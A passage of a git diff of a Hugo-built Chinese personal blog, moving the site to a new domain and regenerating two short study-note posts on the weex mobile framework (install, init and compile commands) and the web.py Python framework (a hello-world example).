target=_blank>Suggest Changes</a></div></header><div class=post-content><p>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具</p><p>支持ES6，跨平台，体积小，性能优异，编写规范</p><p>官网：http://emas.weex.io/zh/</p><p>weex调试工具：weexplayground（可以用来测试，要同局域网下）</p><p>安装</p><p>npm install -g weex-toolkit</p><p>检查weex</p><p>weex -v</p><p>初始化项目</p><p>weex init demo</p><p>npm install</p><p>或者</p><p>weex create demo</p><p>运行</p><p>npm run dev</p><p>npm run server</p><p>编译js bundle</p><p>weex compile 目录或者文件 打包文件存放的目录或者文件</p><p>压缩编译</p><p>weex compile 目录或者文件 打包文件存放的目录或者文件 -m</p><p>注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750</p><p>不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形</p><p>运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/weex/>weex</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/117/><span class=title>« Prev</span><br><span>Web.py学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/115/><span class=title>Next »</span><br><span>操作系统学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"weex跨平台框架学习笔记","item":"https://chenjunlinabc.github.io/posts/116/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"weex跨平台框架学习笔记","name":"weex跨平台框架学习笔记","description":"weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具\n支持ES6，跨平台，体积小，性能优异，编写规范\n官网：http://emas.weex.io/zh/\nweex调试工具：weexplayground（可以用来测试，要同局域网下）\n安装\nnpm install -g weex-toolkit\n检查weex\nweex -v\n初始化项目\nweex init demo\nnpm install\n或者\nweex create demo\n运行\nnpm run dev\nnpm run server\n编译js bundle\nweex compile 目录或者文件 打包文件存放的目录或者文件\n压缩编译\nweex compile 目录或者文件 打包文件存放的目录或者文件 -m\n注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750\n不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形\n运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理","keywords":["weex"],"articleBody":"weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具\n支持ES6，跨平台，体积小，性能优异，编写规范\n官网：http://emas.weex.io/zh/\nweex调试工具：weexplayground（可以用来测试，要同局域网下）\n安装\nnpm install -g weex-toolkit\n检查weex\nweex -v\n初始化项目\nweex init demo\nnpm install\n或者\nweex create demo\n运行\nnpm run dev\nnpm run server\n编译js bundle\nweex compile 目录或者文件 打包文件存放的目录或者文件\n压缩编译\nweex compile 目录或者文件 打包文件存放的目录或者文件 -m\n注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750\n不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形\n运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理\n","wordCount":"48","inLanguage":"en","datePublished":"2021-10-10T14:00:00Z","dateModified":"2021-10-10T14:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/116/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>weex跨平台框架学习笔记</h1><div class=post-meta><span title='2021-10-10 14:00:00 +0000 UTC'>2021-10-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/weex%e8%b7%a8%e5%b9%b3%e5%8f%b0%e6%a1%86%e6%9e%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具</p><p>支持ES6，跨平台，体积小，性能优异，编写规范</p><p>官网：http://emas.weex.io/zh/</p><p>weex调试工具：weexplayground（可以用来测试，要同局域网下）</p><p>安装</p><p>npm install -g weex-toolkit</p><p>检查weex</p><p>weex -v</p><p>初始化项目</p><p>weex init demo</p><p>npm install</p><p>或者</p><p>weex create demo</p><p>运行</p><p>npm run dev</p><p>npm run server</p><p>编译js bundle</p><p>weex compile 目录或者文件 打包文件存放的目录或者文件</p><p>压缩编译</p><p>weex compile 目录或者文件 打包文件存放的目录或者文件 -m</p><p>注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750</p><p>不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形</p><p>运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/weex/>weex</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/117/><span class=title>« Prev</span><br><span>Web.py学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/115/><span class=title>Next »</span><br><span>操作系统学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/117/index.html b/posts/117/index.html
index e8a4c51d..71fc019f 100644
--- a/posts/117/index.html
+++ b/posts/117/index.html
@@ -4,31 +4,31 @@
 导入模块
 import web
 第一个例子
-import web
urls = (
&#34;/(.*)&#34;,&#34;hallo&#34;
)
app = web.application(urls,globals())
class hallo:
def GET(self,name):
return &#34;<h1>hallo web.py</h1>&#34;
if __name__==&#34;__main__&#34;:
app.run()
可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/117/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Web.py学习笔记"><meta property="og:description" content="web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
+import web urls = ( &#34;/(.*)&#34;,&#34;hallo&#34; ) app = web.application(urls,globals()) class hallo: def GET(self,name): return &#34;<h1>hallo web.py</h1>&#34; if __name__==&#34;__main__&#34;: app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/117/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Web.py学习笔记"><meta property="og:description" content="web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
 安装web.py
 pip install web.py
 导入模块
 import web
 第一个例子
-import web
urls = (
&#34;/(.*)&#34;,&#34;hallo&#34;
)
app = web.application(urls,globals())
class hallo:
def GET(self,name):
return &#34;<h1>hallo web.py</h1>&#34;
if __name__==&#34;__main__&#34;:
app.run()
可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/117/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-10-18T12:00:00+00:00"><meta property="article:modified_time" content="2021-10-18T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Web.py学习笔记"><meta name=twitter:description content="web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
+import web urls = ( &#34;/(.*)&#34;,&#34;hallo&#34; ) app = web.application(urls,globals()) class hallo: def GET(self,name): return &#34;<h1>hallo web.py</h1>&#34; if __name__==&#34;__main__&#34;: app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/117/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-10-18T12:00:00+00:00"><meta property="article:modified_time" content="2021-10-18T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Web.py学习笔记"><meta name=twitter:description content="web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
 安装web.py
 pip install web.py
 导入模块
 import web
 第一个例子
-import web
urls = (
&#34;/(.*)&#34;,&#34;hallo&#34;
)
app = web.application(urls,globals())
class hallo:
def GET(self,name):
return &#34;<h1>hallo web.py</h1>&#34;
if __name__==&#34;__main__&#34;:
app.run()
可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Web.py学习笔记","item":"https://xiaochenabc123.github.io/posts/117/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Web.py学习笔记","name":"Web.py学习笔记","description":"web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）\n安装web.py\npip install web.py\n导入模块\nimport web\n第一个例子\nimport web\rurls = (\r\u0026quot;/(.*)\u0026quot;,\u0026quot;hallo\u0026quot;\r)\rapp = web.application(urls,globals())\rclass hallo:\rdef GET(self,name):\rreturn \u0026quot;\u0026lt;h1\u0026gt;hallo web.py\u0026lt;/h1\u0026gt;\u0026quot;\rif __name__==\u0026quot;__main__\u0026quot;:\rapp.run()\r可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的","keywords":["Python","web.py"],"articleBody":"web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）\n安装web.py\npip install web.py\n导入模块\nimport web\n第一个例子\nimport web\rurls = (\r\"/(.*)\",\"hallo\"\r)\rapp = web.application(urls,globals())\rclass hallo:\rdef GET(self,name):\rreturn \"hallo web.py\"\rif __name__==\"__main__\":\rapp.run()\r可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的\n","wordCount":"32","inLanguage":"en","datePublished":"2021-10-18T12:00:00Z","dateModified":"2021-10-18T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/117/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Web.py学习笔记</h1><div class=post-meta><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Web.py%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）</p><p>安装web.py</p><p>pip install web.py</p><p>导入模块</p><p>import web</p><p>第一个例子</p><pre><code>import web
-urls = (
-    &quot;/(.*)&quot;,&quot;hallo&quot;
-)
-app = web.application(urls,globals())
-class hallo:
-    def GET(self,name):
-        return &quot;&lt;h1&gt;hallo web.py&lt;/h1&gt;&quot;
-if __name__==&quot;__main__&quot;:
-    app.run()
-</code></pre><p>可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/python/>Python</a></li><li><a href=https://xiaochenabc123.github.io/tags/web.py/>web.py</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/119/><span class=title>« Prev</span><br><span>简单使用Rollup模块打包工具</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/116/><span class=title>Next »</span><br><span>weex跨平台框架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import web urls = ( &#34;/(.*)&#34;,&#34;hallo&#34; ) app = web.application(urls,globals()) class hallo: def GET(self,name): return &#34;<h1>hallo web.py</h1>&#34; if __name__==&#34;__main__&#34;: app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Web.py学习笔记","item":"https://chenjunlinabc.github.io/posts/117/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Web.py学习笔记","name":"Web.py学习笔记","description":"web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）\n安装web.py\npip install web.py\n导入模块\nimport web\n第一个例子\nimport web urls = ( \u0026quot;/(.*)\u0026quot;,\u0026quot;hallo\u0026quot; ) app = web.application(urls,globals()) class hallo: def GET(self,name): return \u0026quot;\u0026lt;h1\u0026gt;hallo web.py\u0026lt;/h1\u0026gt;\u0026quot; if __name__==\u0026quot;__main__\u0026quot;: app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的","keywords":["Python","web.py"],"articleBody":"web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）\n安装web.py\npip install web.py\n导入模块\nimport web\n第一个例子\nimport web urls = ( \"/(.*)\",\"hallo\" ) app = web.application(urls,globals()) class hallo: def GET(self,name): return \"hallo web.py\" if __name__==\"__main__\": app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的\n","wordCount":"32","inLanguage":"en","datePublished":"2021-10-18T12:00:00Z","dateModified":"2021-10-18T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/117/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a 